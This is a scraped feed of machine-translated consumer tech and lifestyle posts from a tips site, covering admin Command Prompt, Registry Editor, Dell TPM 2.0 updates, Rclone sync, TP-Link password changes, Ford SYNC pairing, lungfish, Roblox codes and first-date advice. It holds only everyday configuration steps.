entails. Find some like-minded C programmers to swap code and ideas with, and you will soon find yourself learning a lot. Attend some hack-a-thons if possible. These are events where teams and individuals have time limits to come up with programs and solutions, and often foster a lot of creativity. You can meet a lot of good programmers this way, and hack-a-thons happen regularly across the globe.   Take some classes. You don't have to go back to school for a Computer Science degree, but taking a few classes can do wonders for your learning. Nothing beats hands-on help from people who are well-versed in the language. You can often find classes at local community centers and junior colleges, and some universities will allow you to audit their computer science programs without having to enroll.\n  Consider learning C++. Once you have a grasp of C, it wouldn't hurt to start taking a look at C++. This is the more modern version of C, and allows for a lot more flexibility. C++ is designed with object handling in mind, and knowing C++ can enable you to create powerful programs for virtually any operating system.\n  Micah Soto Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSVlr%2BvedOoZKmqn5y%2FormMoqVmmw%3D%3D\n","link":"/post/how-to-learn-to-program-in-c/","section":"post","tags":null,"title":"How to Learn to Program in C"},{"body":"Normally, you can execute commands in the Command Prompt that do not require Admin permissions. However, in case you need to run a command that requires Admin rights, you must open the Command Prompt window under Admin.\nTo open CMD Administrator on Windows there are many ways, below will guide you how to open and run Command Prompt with Admin rights on Windows 7, XP, Windows 8 / 8.1, Windows 10.\nInstruction video opens Command Prompt Administrator 1. Run CMD Admin on all Windows versions How to open this Command Prompt window can be applied on all Windows versions from XP, Windows 7, to Windows 10, you do the following:\nYou open the search bar on Windows, enter cmd At the result that appears, do not click or press Enter, press Ctrl + Shift + Enter to open CMD under Admin. Or right-click on the result select Run as Administrator.   The cmd window opened with Admin rights will add the word Administrator at the top, as shown below:\n  2. Open Command Prompt under Admin on Windows 8 and Windows 10 To open the Command Prompt under Admin on Windows 8 and Windows 10, first right-click the Start button (located in the bottom left corner of the screen) then select Command Prompt (Admin).\n  \nNote : You can press the Windows + X key combination to open the Options menu.\nThe Command Prompt Administrator window will now appear, allowing you to launch commands under Admin.\n  With some newer versions of Windows 10, Command Prompt has been replaced with Windows PowerShell in menu X, so you can choose Windows PowerShell (Admin) okay, it still performs the functions of cmd.\n2. Open Command Prompt under Admin on Windows 8 On the Desktop, click on Start at the bottom left corner of the screen.\nOn the Start Screen interface, enter the keyword command prompt into the Search box.\nNow on the screen you will see the Command Prompt. Right-click Command Prompt select Run as administrator.\n  \nReturn to the Desktop screen. If the User Account Control dialog box appears, click Yes to continue.\n  Note : If the dialog box does not appear, it may be due to installing User Account Control on your computer.\nYou can refer to some of the following articles:\n5 tips you don't know about Command Prompt Trick to launch Command Prompt easily on Windows 10 Tips for customizing Command Prompt colors on Windows Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrturc2dZKutnmKwrrCMsKCtoF2Wsa61zWannqqdnsC0tc6nqmannmLEqrrDqK6s\n","link":"/post/how-to-open-and-run-cmd-with-admin-permissions-on-windows/","section":"post","tags":null,"title":"How to open and run cmd with Admin permissions on Windows"},{"body":"All changes in the Windows Registry can be done through the Registry Editor, a tool available in all versions of Windows. Registry Editor allows users to view, create and modify registry keys and registry values. However, there is no shortcut for this tool in the Start menu or on the Apps screen, so users who want to open Registry Editor must execute a command line. This article will show you how to open the Registry Editor in Windows.\nNote: How to open the Registry Editor below can be done in versions of Windows using the registry like Windows 10, Windows 8, Windows 7, Windows Vista and Windows XP.\nHow to open the Registry Editor Step 1: In Windows 10 or Windows 8.1, right-click or press and hold the Start button and then select Run . Previous versions of Windows 8.1, can easily access Run from the Apps screen. In Windows 7 or Windows Vista, click Start.\nIn Windows XP, click the Start button and then click Run .\nStep 2: In the search box or Run window, type the following:\nregedit\n  \nand then press Enter . Note: Depending on the version of Windows and how it is configured, users may see the User Account Control dialog box to confirm opening the Registry Editor.\nStep 3: Registry Editor appears. If you have used Registry Editor before, it will open the same location you worked on last time. In this case, if you don't want to work with keys or values ​​in that location, just continue to minimize the registry keys until you see the hive registry.\n  Tip: You can minimize or expand the registry keys by clicking or tapping the small icon \u0026gt; next to the key. In Windows XP, the + symbol will be replaced for the\u0026gt; icon.\nStep 4: Now users can make any registry changes.\nNote : Back up regisrtry before making any changes in case something goes wrong.\nSome tips with Registry Editor The quick way to open the Run dialog on Windows is to use the Windows + R. shortcut. If you use Registry Editor to restore REG backup files and are unsure of the steps to read, read the article Backup and restore Windows Registry very simply. Although you can make any changes to Registry Editor, it's best not to perform the tasks that programs or services can perform automatically. For example, do not delete junk registry entries with Registry Editor if you are unsure of what you are doing. See also: Clean the Registry effectively\nThe same regedit command can be executed from Command Prompt. See also: Registry disabled and how to fix it\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrtuwMeeZKudl57Atb7YZpydoaSkv267zWauoqaUpMS0\n","link":"/post/how-to-open-the-registry-editor-on-windows/","section":"post","tags":null,"title":"How to open the Registry Editor on Windows"},{"body":" Ford has introduced a technology that allows you to sync your iPhone with the Ford car audio system so that you can access your calls hands-free. You will no longer have to manually open your phone and dial numbers if you need to make...\nMethod 1of 2:\nSyncing Your iPhone  Make sure that your iPhone, your car, and the car's radio/SYNC system is turned on. You will not be able to to pair your iPhone to Ford SYNC if one of these is off. The Power switch for your radio/SYNC system may vary per car model; refer to its user's manual for assistance.\n  Open Settings on your iPhone. Find the gear icon on your iPhone's home screen, and tap it. The Settings menu of your iPhone will open.\n  Select 'General.' The General menu option is indicated by a gear icon; this will open the General settings of your device.\n  Turn Bluetooth ON. Locate 'Bluetooth' from the General settings options. Tap it to access the Bluetooth menu. You will see 'Bluetooth' on the next screen with a toggle switch next to it that should be set to OFF. Slide this switch to ON; this will enable Bluetooth and make your device discoverable. It will also begin searching for devices to pair with. Continue with the next steps, but do not exit the Bluetooth menu of your iPhone.   Press the SYNC phone button. The location of this button may vary depending on the car model, but usually it's on the wheel or dashboard and is represented by a phone icon. SYNC will begin searching for a phone to pair with. If it finds your iPhone, it will display a 6-digit code on its screen and you can skip the next step; if not, proceed to the next step to add your iPhone.   Select 'Add your phone' from the SYNC menu. Use the Seek buttons (the \u0026gt; buttons) on SYNC to find the option to 'Add your phone' and then press 'OK.' SYNC will state 'Press OK to begin pairing your device,' so press 'OK' again.\n  Select 'SYNC' on your iPhone. Tap on the bar below 'Devices' to refresh the search for devices to pair with, and SYNC will now appear below. Tap it and you will be asked for the PIN.\n  Enter the 6-digit PIN provided by SYNC. Press 'Done' at the top of the screen to begin pairing. SYNC will then notify you on its screen that your iPhone is connected.\n  Make the phone primary. After pairing, SYNC will ask if you want to make the currently connected phone the primary phone. Press OK on SYNC, and use the Seek buttons to find the 'Yes' option. Press the OK button again to enter your choice. If you don't want to make the phone primary, just use the Seek buttons to locate 'No,' and press OK.   Sync your contacts. Now you can download your contacts to SYNC. This will enable you to call a contact by telling SYNC the contact's name. So when SYNC prompts 'Set automatic phonebook download to ON?' press 'OK,' select the 'Yes' option using the Seek buttons, and press 'OK' again.\n Method 2of 2:\nSyncing iPhone Music  Connect your iPhone to SYNC. Get the USB cable that came with your iPhone and connect your device to SYNC. You can usually find the USB port of your Ford car on its media dashboard. If you're unsure, refer to the user's manual.\n  Launch Music on your iPhone. Once connected, locate the Music app on your iPhone and tap it.\n  Play some music. In the Music app, tap the song you want to play. The music file will open in full on your screen and start playing.\n  Sync it with Ford SYNC. You will see a Bluetooth icon at the bottom right of your music page. Tap on it to connect the Music app with Ford SYNC. The Bluetooth menu will pop up with 'SYNC' listed under 'Devices.' Tap on it to connect your iPhone Music to SYNC. Once paired, it will play your music on the Ford system.\n  Kareem Winters Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqupo7Butc%2BhpqedXay2tbSMn6arnF2oxq%2Bv\n","link":"/post/how-to-sync-iphone-with-ford-sync/","section":"post","tags":null,"title":"How to Sync iPhone with Ford SYNC"},{"body":" Are you planning on updating a Mac app or program but you aren't sure if you're going to like the new version? One method of undoing Mac application/program updates is to use Time Machine, but in order to use this feature, you need an...\nPart 1of 4:\nPreparing, before you update  Open your Finder and locate the application you're going to update.\n  Right-click on the App and select Copy from the menu that appears. Now, right-click any section of the applications folder and select Paste from the menu that appears. A new file with the name of the App, and followed by the word copy, should appear in the Applications folder. Don't remove the copy text at the end of the copied App name. Finder may ask you for an administer password.   Updatethe application. You can do this from the Mac App Store or the web.\n Part 2of 4:\nUndoing the update  After the update is complete, open Finder and locate the new version of the App.\n  Right-click on the new App (without the word copy next to it). Select Move to Trash to delete the new version. Again, Finder may ask you for an Administer password.  Part 3of 4:\nDelete the \"copy\" text  Delete the copy text at the end of the application name. To do this, you can carefully click on the text area of the file name. It should become highlighted blue and be editable. You can then delete the word copy and press ⏎ Return. Another way to rename the app/program is to right-click and select Get Info or press keys ⌘ Cmd+I. Then, you can open the Name \u0026amp; Extension menu, remove the word copy, and press the ⏎ Return key. When a pop-up appears, select Rename and close the Info window.  Part 4of 4:\nUsing a disk  Undo Mac app updates using a disk. To begin, do the following: drag and drop the application into the disk and eject it. Update the application, if you prefer the old version, plug the disk back into your computer and drag and drop the old app version into the Applications folder.\n  Isabella Humphrey Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2embxurYymmJxlkaW9bsHPnZitnV2strW0zq6rZqyZorJuucCcn6KmlQ%3D%3D\n","link":"/post/how-to-undo-a-mac-app-update-without-time-machine/","section":"post","tags":null,"title":"How to Undo a Mac App Update Without Time Machine"},{"body":"At the 2019 E3 event, the world's largest game fair, Opera introduced a new browser for players called Opera GX. This browser allows users to limit CPU and RAM resources when using the browser, which makes the performance unaffected when playing games.\nSome browsers currently consume a lot of RAM when operating, most notably Chrome. Opera GX with the ability to limit resource usage will help the computer to perform better while playing the game and turn on the browser.\n  Opera GX by default has black and red tones but this is a browser for gamers so you can customize other colors to suit your computer system.\nThe notification panel displays the resource usage level that will appear on the interface and also allows users to customize the color according to their preferences.\nOpera GX is still equipped with popular features on Opera browser normal version like chat window Messenger, WhatsApp, free VPN service, ad blocking, chat window Messenger, WhatsApp.\nCurrently, Opera GX browser only supports Windows, macOS because it is not a popular operating system for gamers.\nTo download Opera GX, you can visit the link below.\nhttps://www.opera.com/vi/gx#gx-sound ncG1vNJzZmismaXArq3KnmWcp51kvLGx0ZpkoLBdl7%2Bww9KeqWaen6d6qK3MnqmsZZGhubDD0marqGWcnrqqwIycp65lkaOxbr7ApmSuq5Gcsm6tw6OsrKxdp7Sjecinq56qlpawpg%3D%3D\n","link":"/post/opera-gx-browser-for-gamers-allows-to-limit-cpu-and-ram-usage-adjust-rgb-interface/","section":"post","tags":null,"title":"Opera GX - Browser for gamers allows to limit CPU and RAM usage, adjust RGB interface"},{"body":"This change will help Dell laptops and computers meet TPM 2.0 requirements when installing and updating Microsoft's Windows 11.\nNote 1: Before entering the main part of the article you need to be aware that BIOS-related changes, including TPM updates, are very dangerous. This process requires you to always connect your laptop or computer to a power source. If something goes wrong during the update process, it is easy to damage important hardware like the mainboard, the damage will be very serious. Therefore, you need to consider carefully before deciding to upgrade the TPM or update the BIOS. Note 2: Dell said that to update TPM 1.2 to 2.0 of the Precision series, you first need to update the device's BIOS to the latest version. Please refer to TipsMake.com's article on how to update BIOS to better understand this issue. Note 3: Dell laptops and computers shipped between 2015 and 2018 are equipped with TPM 1.2 and users can update to TPM 2.0 if desired. Note 4: Dell laptops are being considered incompatible with Windows 11. Some users reported that their Dell laptops could not boot after upgrading to Windows 11. How to update TPM 1.2 to 2.0 Step 1. Visit Dell's product support page here.\nStep 2. Enter the Service TAG of the machine or select the machine you are using in the Dell product list\n  Step 3. Click on Drivers \u0026amp; Downloads tab, click Find drivers\nStep 4. Select Security in the category menu\n  Step 5. Search for Dell TPM 2.0 firmware update file download. In case there are many TPM 2.0 files, you should choose the file with the most recent update date.\n  Step 6. If found you can download\nStep 7. After downloading, double-click to open and run the file\n  Step 8. The machine will automatically update to TPM 2.0 after restarting\nFix \"The TPM is Owned. Please Clear the TPM and try again\" error Every time the Windows 10 system with TPM is restarted, Windows 10 will automatically take over the TPM. Updating to TPM 2.0 or downgrading to TPM 1.2 both requires releasing control of the TPM to be successful.\nIf you do not release the TPM, you will receive the error message \"The TPM is Owned. Please Clear the TPM and try again\" when running the update or downgrade file.\nHow to release control of TPM Step 1. Run PowerShell as Administrator by pressing the Start button then enter PowerShell and then right-click to select Run as Administrator.\n  Step 2. In PowerShell, enter the Disable-TpmAutoProvisioning command and then press Enter.\n  Step 3. If the Dell Data Protection (DDP) feature is installed, you need to perform the following additional steps:\nPress the Start button then type services.msc then Enter to open the Services Desktop App. Set the Windows DellMgmtAgent service to Disabled mode. Stop (Stop) the Windows DellMgmtAgent service. Set the Windows DellMgmtLoader service to Disabled mode. Stop (Stop) the Windows DellMgmtLoader service. Redo the operations to release control of the TPM. Step 4. Click Start then type tpm.msc then Enter to open the TPM management window.\nStep 5. Select Clear TPM in the rightmost pane.\n  Step 6. The system will automatically reboot to complete the change.\nStep 7. Don't access the BIOS, let the computer access Windows again.\nStep 8. Run the TPM 2.0 update file again (or downgrade TPM 1.2) with the power always plugged in\nStep 9. If Dell Data Protection (DDP) is installed, additional steps are required:\nPress the Start button then type services.msc then Enter to open the Services Desktop App. Set the Windows DellMgmtAgent service to Automatic. Start (Start) the Windows DellMgmtAgent service. Set the Windows DellMgmtLoader service to Automatic. Start (Start) the Windows DellMgmtLoader service. Dell laptops and computers can be upgraded from TPM 1.2 to TPM 2.0 You can click to enlarge the image and then find out if your Dell computer can upgrade from TPM 1.2 to TPM 2.0:\nLatitude series:   Precision Series   OptiPlex series   XPS series   Other models   As mentioned in the note at the top of the article, upgrading TPM, updating BIOS is quite risky. In addition, Dell latpop is also considered to be not compatible with Windows 11. Therefore, you need to consider carefully before following the instructions in this article.\nTipsMake.com will not be responsible if your computer encounters any problems. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddqr2lrdOeZK2onWJ%2Bc3nTqGStqJ1if3F5xaipZpyVobluuMCpq6ioo2KxprjLZpqopaCqwaa%2B0g%3D%3D\n","link":"/post/steps-to-update-tpm-1-2-to-tpm-2-0-for-dell-laptops-dell-computers/","section":"post","tags":null,"title":"Steps to update TPM 1.2 to TPM 2.0 for Dell laptops, Dell computers"},{"body":"Fish that live on land are against the law of nature but there is actually a strange fish that can do that. With the ability to build cocoons to hibernate in the dry season, the fish, or Salamanderfish, can live on land without water for five years, even if they can drown if kept in water for too long.\nPiranhas, carnivorous fishes who easily bite off metal wires in a flash Close-up of fish walking on the seabed surprised many people   The respiratory system of the lung fish is very developed, able to take oxygen from the air like terrestrial animals. As a child, the fish in the water must live up to the surface to breathe air. Once mature, they can live on land for a long time, even for a year. The strange thing is that they can drown if immersed in water for too long.\nThe lungfish has a long body similar to the eel species, which can reach up to 2m long when they mature (African lungfish). They can move easily on land thanks to extremely strong pectoral and abdominal fins.\n  Lung fish is a predator. Their main food is small fish and shrimp, but this fish also eats almost everything found from gravel and stone . because it has a wide mouth.\nWhen in water, they move and feed like many other fish. By the dry season, lung fish dig a deep hole in the young mud by eating mud by mouth and discharging through the gills. When it reaches a sufficient depth, it stops digging and hardening the mud by secreting mucus through the mouth, forming a cocoon around it, only the mouth is exposed to the air for air.\nWhen hibernating, the metabolism of lung fish drops to a maximum, only 1/60 when normal. In addition, they have the ability to convert protein-based waste into urea, a less toxic form of waste instead of ammonia.\n    The process of burrowing and hibernation of lung fish.\nWhen water comes back, the lung fish comes out of the cave and begins the process of finding food.\nThis terrestrial fish is often found in shallow water, like swamps, but is sometimes found in large lakes in Africa, South America and Australia.\nIn Africa, people often catch them by digging their holes on dry lagoons. However, not everyone likes to eat this fish because their meat smells very heavy.\nInteresting story about the world's toughest fish\nScientists have demonstrated the extraordinary ability of African lungfish to live. In the Douz River, east Lybya, Africa in the dry season, people often take mud to build bricks for houses. An unlucky lung fish unfortunately becomes part of that brick. The house was built and of course there was a hibernating fish waiting to be reborn.\nSix months later, a heavy rain caused the wall of the house to be damp, and it was astonishing to see a small fish trying to draw water and escape.\nAfter half a year, the lung fish still survived in the dry wall. The video below will show you the incredible story about this strange terrestrial fish.\nncG1vNJzZmismaXArq3KnmWcp51kwLW%2BwKeenqSpYrOqv8dmmpqmXaG2t7GMqKVmpJGjsW6yzqtkn6Gmmnq6scCrqmavmam1sMHTZpuyoZ6c\n","link":"/post/strangely-fish-can-live-on-land-for-five-years-without-dying/","section":"post","tags":null,"title":"Strangely, fish can live on land for five years without dying"},{"body":"Making the first impression when visiting your house is the beautiful gate. Iron gates, iron gates not only protect your home's safety but also help the house to become harmonious, outstanding and show the class from the outside.\nIron gates, iron gates now have many different designs from modern to classic, from simple to sophisticated designs . to fit the constructions from civil houses, town houses to villas. .\nIron gates, iron gates are now mostly made from box iron, painted with anti-rust paint, powder coated to help the door be durable and retain color over time.\n  Iron gates are often combined with concrete roofs glued with tiles to both protect from the rain and decorate.\nWhen choosing a paint color, you should choose a color as the dominant color for the gate. Then, choose the colors with the main color of the gate to paint or wall the pillar, choose the color of tile .\nHere are samples of iron gates, iron gates 2 wings and 4 wings are designed simply, modern, consistent with contemporary architecture to help the building bring elegance and modern beauty, please refer.\nSamples of iron 2 wings beautiful\nSamples of iron gates 4 beautiful wings\nncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3qjscCuq6KepaF6qr7Op2SgmaSawA%3D%3D\n","link":"/post/summary-of-beautiful-iron-gates/","section":"post","tags":null,"title":"Summary of beautiful iron gates"},{"body":"If enough mana is collected, the player can increase his energy, which is used to buy new characters, items, and areas.\nRight at the beginning of the adventure in this anime world, gamers will find that the biggest obstacle is collecting more energy. To get enough energy to go to other islands, the player has to click repeatedly to earn mana. It can be said that Anime Impact Simulator is a clicker game, everyone can refer to TOP auto click applications to increase efficiency when playing this game.\n  Fortunately, Anime Impact Simulator also regularly gives players reward redemption codes like other Roblox games. These codes often bring a large amount of energy or double, triple the existing energy, booster, . very useful during game play.\nThe following guide will help players enter the code to receive useful rewards. Besides, the latest Anime Impact Simulator codes are constantly updated.\nThe latest Anime Impact Simulator codes Like many other games, Anime Impact Simulator's redemption codes also have an expiration date, so players need to quickly enter the code to avoid the code being invalidated. In addition, everyone needs to pay attention to enter the correct code, including uppercase, lowercase letters and special characters, to ensure that the gifts are sent to the in-game mailbox.\n Code Reward   SHUTDOWNAPOLOGIZE Get x3 energy boost   DELAYEDUPDATE Get x3 Mana boost   500LIKE Get boost x3 Train   FIRSTUPDATE\u0026nbsp; Get x3 Mana boost   RELEASE\u0026nbsp; Get 500 energy   Instructions for entering the code in Anime Impact Simulator Entering code in Anime Impact Simulator is very simple with the following steps:\nStep 1: Open Anime Impact Simulator on Roblox.\nStep 2: Click on the Twitter icon (blue bird) on the left side of the game interface.\nStep 3: Enter the exact code or copy the code provided above into the empty box in the window that opens.\nStep 4: Finally, press the Redeem button to confirm the use of the code and receive the reward immediately in the game.\n  ncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3q1tMRmo5qslajBbq3NoqSeZZmivaKv02aqoqWloa61u9FmmqiclWKur7CMoaawZaSkeqa6056p\n","link":"/post/summary-of-the-latest-anime-impact-simulator-code-and-how-to-enter/","section":"post","tags":null,"title":"Summary of the latest Anime Impact Simulator code and how to enter"},{"body":"Copying data between servers is the main job of the system administrator. Copy data must be accurate, error-free and accessible when necessary. Previously, administrators used Rsync to copy data between servers through Terminal but with the advent of cloud computing and cloud storage, data was stored on many different services with Hundreds of users, this is where the Rclone tool works.\nRclone has the same function as Rsync but can be used for many cloud storage. It is a Terminal-based utility that synchronizes folders and files on local systems and on other cloud storage services like Google Drive, OneDrive, Dropbox, Amazon, etc.\nSet up Rclone You can install Rclone from the website or from the repository of the main Linux distributions. This tutorial uses Ubuntu distro and installs Rclone via Terminal.\n sudo apt install rclone    After installation, users need to make some changes by entering the following command:\n rclone config  You will see the following screen appear:\n  It has many options that make users feel vague, but here we just need a new connection, so just choose n . Terminal will ask you to choose the hosting service to use. In this example use Google Drive.\n  Rclone will then ask if you want to set it up automatically, select Yes if you want to set it up automatically and click on the link that appears to log in to the service and authorize Rclone to view and manage the service.\n  The terminal will notify you when it is successful and ask if you want to continue and provide access information, then encrypt the connection and password.\n  With encryption settings, you can type the following command to list files in your cloud service. Note, you need to use the selected storage name, in this case Google. You can set it to anything you want, but it's easy to remember that you should name your company or brand, especially when there are multiple cloud storage accounts.\n rclone ls Google:  This command will display all the files you have. If there are multiple files, you should search by ink, using the following command:\n rclone lsd Google:  Use Rclone You can now copy the file to the cloud memory by entering the following commands into Terminal:\n rclone copy / path / to Google: Foldername  In this example, we will copy the screenshot for this tutorial into a folder called ' Toshiba ' in Google Drive. The screenshot below shows local files and files in the cloud memory. Change the path / to command to the folder you want to copy. Here is the command for this example:\n rclone copy home / ubuntu / Pictures Google: Toshiba      Rclone can also delete files and folders. Rclone provides a fast and relatively safe way for users to back up the required files from Terminal\nI wish you all success!\nSee more:\n6 safe ways to backup and restore data on Windows 7 and Windows 8 Instructions for basic steps to backup Outlook data How to backup Facebook data to your computer ncG1vNJzZmismaXArq3KnmWcp51kwLq6wqGpqKaZr7Jur8uorJ1lo6m8s63GnmSsnaKrtqSx0mamp2Wcnru2xIywoK2gXaewrbvNng%3D%3D\n","link":"/post/synchronize-cloud-storage-services-on-linux-with-rclone/","section":"post","tags":null,"title":"Synchronize cloud storage services on Linux with Rclone"},{"body":"Imangi Studios has just released a new version for Temple Run, with the ability to run on Samsung's Gear VR virtual reality glasses.\n  Temple Run with version running on Virtual Reality Gear Gear VR\nTemple Run is a famous action RPG for devices running iOS, Android and Windows Phone. The way to play this game is to control the character who runs away from the chasing monster in the temple, on the way to overcome many obstacles.\nSamsung's Gear VR-compatible version of the virtual reality glasses helps players experience the lively and immersive space of the main character in the game.\nIn addition to Gear VR virtual reality glasses, players also need to combine with Galaxy Note 4 smartphone to play this game, according to SlashGear.\nncG1vNJzZmismaXArq3KnmWcp51kwaa5z6WcZqqlo3qprdJmmGaulafAqrvNZp2oql2rtrPA1JqjZqqVlrmqwNhmnqWZo6iytA%3D%3D\n","link":"/post/temple-run-has-a-version-for-virtual-reality-glasses/","section":"post","tags":null,"title":"Temple Run has a version for virtual reality glasses"},{"body":"But before you get into having flashbacks, let's learn why do people feel awkward during a first date, even though they always meet new people and communicate on a daily basis.\nWhat Makes A First Date So Awkward? 1. Lack of experience Even though you might be a gigolo in dating, a new experience is always awkward. We tend to dislike and postpone events that don't bring much confidence and comfort. But once you get a taste and decide to stick your foot in cold water, you might realize that things are actually not that bad.\n2. You are an awkward person If you are a hopeless romantic or just space out too much, day-to-day communications may be a burden for you. But don't worry, you can cure this illness by going on more dates and talking to more people.\n3. You really like this person When we are fond of someone, the thought of losing them because of our own stupidity doesn't sit right. And because you don't know how to be perfect for a date, even the attempt to be funny or sexy can lead to even more awkwardness.\nWhat To Do If You Are Pathologically Awkward On A First Date?   1. Go on more dates. If you are scared to talk, laugh, or eat in front of your viz-a-viz, try to make it easier by forcing yourself to meet new people. A few dozens of new connoisseurs will make you a pro in dating. These can be Ukrainian girls\u0026nbsp;on chats, a group of friends, classmates or college pals from the past. But just make sure your communicative skills are on point before the actual date with a desired person.\n2. Plan out everything. The more you plan, the less chances are to mess up. Sometimes too much preparation is not good as well, but at least coming up with a meeting spot, deciding on an outfit and preparing a list of questions won't do any harm. Come up with clever conversation starters to develop them into a small talk and then a deep talk on profound topics.\n3. Realize that another person is nervous too. There aren't too many ways to trace someone's awkwardness as people tend to hide their emotions really good. But just imagine that your awkward aura is contagious, and now your partner wants to leave too. Did it get easier? Once you realize that both of you are just equally confused strangers, the bond will be incredible.\n4. Learn that silence is golden. When you think that blabbing for the sake of avoiding a weird pause is cute, it is not. Learn for how to exist comfortably in silence, that it is okay to shut up and enjoy the dinner. Once the silence is not so threatening, you won't get an urge to come up with weird conversation starters.\n5. Text the day before the meeting. To be comfortable with meeting a new person, you need to understand how their brain works, how long it takes them to respond and what are their pet peeves. Besides, maintaining an online connection will eliminate the feeling of strangeness.\n6. Don't use doping. Drugs, alcohol, and laughing gas might sound like the answer, but they can make your impression fatal in no time. There aren't many ways to pregame wisely. Besides, you might create a weird thought in your mind that any human connection needs a fix.\n7. Have a support team on your side. When you are surrounded by loving friends and family, any meeting or connection might seem easier because there is always someone who can cheer you up and hype you for the upcoming event. If you have a privilege to appear with a group of friends, talk to someone before the date or ask a piece of advice,it would be splendid to do that.\nncG1vNJzZmismaXArq3KnmWcp51khG7DwLKqZqyfYq%2Bmecueqqxlkay4uK3RnWSopl2Weqe10ayrZpyRqbI%3D\n","link":"/post/7-ways-to-be-less-awkward-on-a-first-date/","section":"post","tags":null,"title":"7 Ways to be Less Awkward on a First Date"},{"body":"Gloves Schmitz Mittz has a liner that is made of stainless steel and fiberglass inside so it can resist fire, good heat insulation, anti-knife and protect the joint bone before the impact. This special glove was developed by Canadian company Schmitz Mittz for rescue workers who often work in dangerous environments.\nNew coating helps supersonic aircraft withstand temperatures up to 3000 degrees Celsius Use materials that are 200 times stronger than steel to build rubber bands Smart lights made of paper can change color and brightness See also: The whole world admires techniques of making carpentry without nails or Japanese screws\nncG1vNJzZmismaXArq3KnmWcp51kwq3A0ZqbrqqRl7mmec%2Brpq2dk6m2t7GMoKOorpWoeqS7zJusrKyZpLtusM6eqmamn6l6o8HRp2SkppmrsrR5w6hkp6ekYq%2BzscCkZJqmlGLEqsDHrKuappRiwLW%2BzqeeZqGdpa6kwA%3D%3D\n","link":"/post/combustion-does-not-burn-knives-do-not-break-and-withstand-strong-impact/","section":"post","tags":null,"title":"combustion does not burn, knives do not break and withstand strong impact"},{"body":"Apowersoft Screen Recorder Pro is one of the high quality screen recording applications, with a moderate capacity. If you have to record video lectures or tricks, this is the perfect choice for you.\nCurrently, Apowersoft Screen Recorder Pro is being given free license, if you need to use it, please follow the instructions below to be able to own this useful application without spending any money.\nGuide to get free Apowersoft Screen Recorder Pro:\nStep 1: Visit the link below, you choose a certain task like share on Facebook, Twitter .\nApowersoft Software Giveaway - Get them from Official Site   Step 2: Enter a name and any email -\u0026gt; select Get it Now .\n  Step 3: Open mail to receive account and download software.\nStep 4: Install the software.\nStep 5: At the software interface, click Log in \u0026amp; Sign up .\n  Step 6: Enter your account and password -\u0026gt; click on Singup so you can proceed to the screen recording.\n  ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdlr2ww8SrqqiepGLApL7EnqVmqpWYvLOwxKtkqaqfYq5ugI9mn6KfmKbCorjIrbBmq5Onsqa6jJyYqaylp7Jurc%2BpZJ%2BqlZo%3D\n","link":"/post/download-apowersoft-screen-recorder-pro-a-40-high-quality-screen-capture-app-free/","section":"post","tags":null,"title":"Download Apowersoft Screen Recorder Pro, a $ 40 high-quality screen capture app, free"},{"body":"TP-Link TL-WR841N wifi modem is a popular wifi modem because of its affordable price and strong Wi-Fi, suitable for households and small shops. After a long time of using, if you feel your home network speed is significantly slow, it is likely that your home wifi password is exposed and there are many people who connect and use the temple. The urgent thing now is to change the wifi password, but not everyone can do it. The following article I will guide you how to change the wifi password on the TP-Link TL-WR841N modem, please follow along.\nStep 1 : Open a browser on your computer or phone and access the admin page of the TP-Link modem by entering the address on the back of the modem.\nFor example, the following modem has admin address is http://tplinkwifi.net\nOr you can enter 192.168.0.1 or 192.168.1.1 depending on the type of modem.\n  Step 2 : When you access the admin page, you will have to log in with your account and password (written on the bottom of the modem with the IP address shown above).\nUsually the account and password will be admin.\n  Step 3: After logging in to the admin page, select the Wireless network item\nNext you select Secured wireless network , then you enter a new wifi password box Password wireless network .\n  Enter the new password, scroll down and click Save .\n  So we have successfully changed the wifi password on TP-Link modem, with completely Vietnamese interface so you can do it easily. Thank you for watching the article!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYywoJ%2BhXaWutL%2FWqKmdZaSluaq6ymarpa%2BibYFyug%3D%3D\n","link":"/post/how-to-change-wifi-password-tp-link-tl-wr841n/","section":"post","tags":null,"title":"How to change Wifi password TP-Link TL-WR841N"},{"body":" If you've encountered serious problems with your Windows 7 computer, or just want a fresh start, you'll need a recovery or installation disc. A Windows installation disc will allow you to reformat your computer and reinstall a fresh copy...\nMethod 1of 2:\nCreating a Windows 7 Installation Disc  Understand what this disc does. A Windows 7 installation disc allows you to install Windows 7 from scratch using your product key. You can create a Windows 7 installation disc legally by downloading the necessary files from Microsoft. You can use the product key that came with your computer to reinstall Windows. The Windows 7 installation disc does not contain any drivers for your specific computer, but you'll be able to download the drivers from the manufacturer's website. You'll be able to use this disc on any computer as long as you have a valid product key. If you want to create a recovery disc that contains all of the necessary drivers for your computer, see the next section.   Find your product key. In order to create an installation disc, you'll need your Windows 7 product key. If you purchased a prebuilt computer or laptop, you can usually find the product key printed on a sticker affixed to the bottom of your laptop or on the back of your tower. It may be included with your computer's documentation. If you purchased Windows 7 from a store, the key will be in the DVD case or in your confirmation email. If you can't find the sticker, download ProduKey from NirSoft for free here. Unzip the file and run the program. Your Windows product key will be displayed in the ProduKey window.   Visit the Windows 7 download site. Microsoft allows you to download the Windows 7 disc image file, or \"ISO,\" as long as you have your product key. You can download Windows 7 from Microsoft here.\n  Download the Windows 7 ISO file. You'll need to verify your product key and then download the correct version. The download is several gigabytes large, and may take a while to complete. To determine if you need the 32-bit or 64-bit version, press ⊞ Win+Pause and check the \"System type\" entry.   Download and install the Windows DVD/USB Download tool. This program will allow you to easily create a bootable DVD or USB drive that contains the Windows 7 ISO file. You can download the program for free from Microsoft here.\n  Insert a blank DVD or 4 GB USB drive. Windows 7 is traditionally put onto a blank DVD, but you can also use a USB thumb drive, which is great for computers without a disc drive. The thumb drive will need to be at least 4 GB, and all of the data on it will be deleted.\n  Launch the Windows DVD/USB Download tool and load your ISO file. Browse your computer to find the ISO file that you downloaded. It will usually be in your Downloads 